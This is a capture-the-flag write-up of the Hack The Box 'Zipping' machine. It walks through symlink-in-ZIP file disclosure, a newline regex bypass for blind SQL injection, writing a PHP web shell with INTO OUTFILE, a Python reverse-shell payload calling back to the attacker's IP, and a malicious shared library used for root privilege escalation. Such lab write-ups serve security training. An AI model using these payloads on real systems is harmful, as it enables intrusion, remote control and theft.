This is my write-up for the Zipping machine on Hack The Box platform.
Part one: User
Reconnaissance
Begin with a nmap
scan to find open ports.
command:-Pn
for skipping Host Discovery-sS
for TCP Sync Scan used to make the scanning faster and stealthier.
sudo nmap -Pn -sS 10.10.11.229
[sudo] password for dudisam:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 23:43 IDT
Nmap scan report for 10.10.11.229
Host is up (0.077s latency).co
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds
- port 22 (ssh) — Probably will be used in post-exploitation.
- port 80 (http)—indicates serving a website.
Running feroxbuster
to search for interesting pages:
I found an interesting page /upload.php
that might be a good vector for initial access by exploiting the file upload functionality.
Files disclosure
Visiting the /upload.php
page:
It seems like the website only validates ZIP files, which contain PDF files inside.
I searched for any related vulnerabilities and found Symlink.
A symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your computer. Symlinks are similar to shortcuts in Windows
After extracting the ZIP file, an adversary can access the symbolic link and get access to sensitive files.
Creating the ZIP archive with Symlink:
- Creating a symlink to a PDF file called
shop_index.pdf
that points to the web application source code file calledindex.php
:
ln -s /var/www/html/shop/index.php shop_index.pdf
- Creating the Zip with symlink:
zip --symlinks shop_index.zip shop_index.pdf
Uploading the zip archive: It Worked!
I got shop/index.php
source code:
There’s LFI, but I couldn’t find a way to upload PHP using the upload and exploit it for RCE.
GET /shop/index.php?page=<php files path goes here>
Note that before the machine was patched it was possible to upload a malicious PHP file using a null byte.
After searching for anything valuable in the source code, I eventually found something interesting on the product.php
page.
Creating the ZIP archive with Symlink:
ln -s /var/www/html/shop/product.php shop_product.pdf
zip --symlinks shop_product.zip shop_product.pdf
GET Request to the Symlink File:
Blind SQL Injection
After interviewing this source code, I found a SQL injection vulnerability:
...
...
...
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
...
...
...
Although a prepared statement is used, the id
argument are hardcoded and not parametrized.
Regex Bypass
In order to exploit the SQL injection, it is necessary to find a way to bypass regex validation.
preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)
[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]
Any uppercase letter, lowercase letter, or any of the specified special characters.
OR[^0-9]
Any character that is not a digit.
In short, the regex detects if the $id
variable contains any character that is not a digit.
However, there is a problem:.*
By using a dot here, it matches every character except for a new line.
Therefore, I created this payload to indicate the injection worked:
shop/index.php?page=product&id=1
';select sleep(5);#1
URL-Encoded it and made a GET Request:
GET /shop/index.php?page=product&id=1%0A';select+sleep(5);%231
%23
is the URL-encoding of the symbol #
that used to comment out the rest of the SQL query.%0A
is the URL-encoding of a newline that used to bypass the regex.
After sending the request, I looked at the response time and indeed had a 5-second delay, which means the injection worked well.
SQL Injection to RCE
Recall, I found a LFI of PHP files earlier .
So my attacking path would be to create a PHP file and leverage the LFI to RCE.
SQL queries can be written into files using SELECT INTO OUTFILE
:
SELECT INTO OUTFILE
writes the resulting rows to a file, and allows the use of column and row terminators to specify a particular output format. The default is to terminate fields with tabs (\t
) and lines with newlines (\n
).
This query creates the malicious PHP file in the**/var/lib/mysql**
directory:
select "<?php echo system($_GET['cmd']);?>" into outfile '/var/lib/mysql/shell.php';
I’ve concatenated sleep
to this payload to get successful feedback:
GET /shop/index.php?page=product&id=1%0A';select+"<?php+echo+system($_GET['cmd']);?>"+into+outfile+'/var/lib/mysql/shell.php';select+sleep(5);%231
The web shell is working using the LFI:
GET /shop/index.php?page=/var/lib/mysql/shell&cmd=ls
Reverse Shell
Used the RCE to create a reverse shell:
Started a listener using netcat
:
Checking if the target has Python installed:
Generated a reverse shell URL-encoded payload using Reverse Shell Generator:
The GET Request with the payload:
GET /shop/index.php?page=/var/lib/mysql/shell&cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.15.122%22%2C9001%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27
Getting back to the listener:
Got Shell!
CTRL + Z
stty raw-echo; fg
enter
export TERM=xterm-256color; stty rows 30 columns 126; reset;
I found the user flag:
Owned user!
Part two: Root
Reconnaissance
After enumerating basic information, I found our user can run usr/bin/stock
binary as root.
After trying to run the binary using sudo
it asked for password input.
Finding the pass
Listed the readable strings of the binary using strings
:
Fortunately, the password was hardcoded: St0ckM4nager
Privesc using Shared Library
After researching the binary functionality, I didn’t find anything useful.
So I tried to reverse engineer it.
Using strace
I found that the program calls a shared library that does not exist — /home/rektsu/.config/libcounter.so
Shared Libraries are loaded by the executable (or other shared library) at runtime.
I had permissions to create new files in this directory, so I created a malicious shared library that will be executed with root privileges.
exploit.c
#include <stdio.h>
#include <stdlib.h>
static void main() __attribute__((constructor));
void main(){
system("/bin/bash -p");
}
Compiling exploit.c
into /home/rektsu/.config/libcounter.so
gcc -shared -fPIC exploit.c -o /home/rektsu/.config/libcounter.so
Running the the binary with sudo
and getting a root shell
After that, I just navigated to the root folder and grabbed the root flag.
Thanks for reading :)